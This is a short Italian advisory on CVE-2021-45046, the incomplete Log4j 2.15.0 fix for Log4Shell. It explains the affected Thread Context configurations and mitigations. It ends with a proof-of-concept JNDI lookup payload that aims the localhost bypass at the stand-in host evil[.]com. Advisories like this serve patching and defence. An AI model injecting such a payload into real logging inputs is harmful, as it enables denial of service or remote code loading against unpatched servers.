
Log4j 2.15.0 Escalation dei privilegi -- CVE-2021-45046

È stato riscontrato che la correzione per affrontare CVE-2021-44228 in Apache Log4j 2.15.0 era incompleta in determinate configurazioni non predefinite. Ciò potrebbe consentire agli aggressori con controllo sui dati di input del Thread Context Map (MDC) quando la configurazione di logging utilizza un Pattern Layout non predefinito con un Context Lookup (ad esempio, $${ctx:loginId}) o un pattern Thread Context Map (%X, %mdc, o %MDC) per creare dati di input dannosi utilizzando un pattern JNDI Lookup, provocando un attacco denial of service (DOS). Log4j 2.15.0 limita le ricerche JNDI LDAP a localhost per impostazione predefinita. Si noti che le mitigazioni precedenti che implicano configurazioni come l'impostazione della proprietà di sistema log4j2.noFormatMsgLookup a true NON mitigano questa specifica vulnerabilità. Log4j 2.16.0 risolve questo problema rimuovendo il supporto per i pattern di lookup dei messaggi e disabilitando la funzionalità JNDI per impostazione predefinita. Questo problema può essere mitigato nelle versioni precedenti (<2.16.0) rimuovendo la classe JndiLookup dal classpath (esempio: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
Poc
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}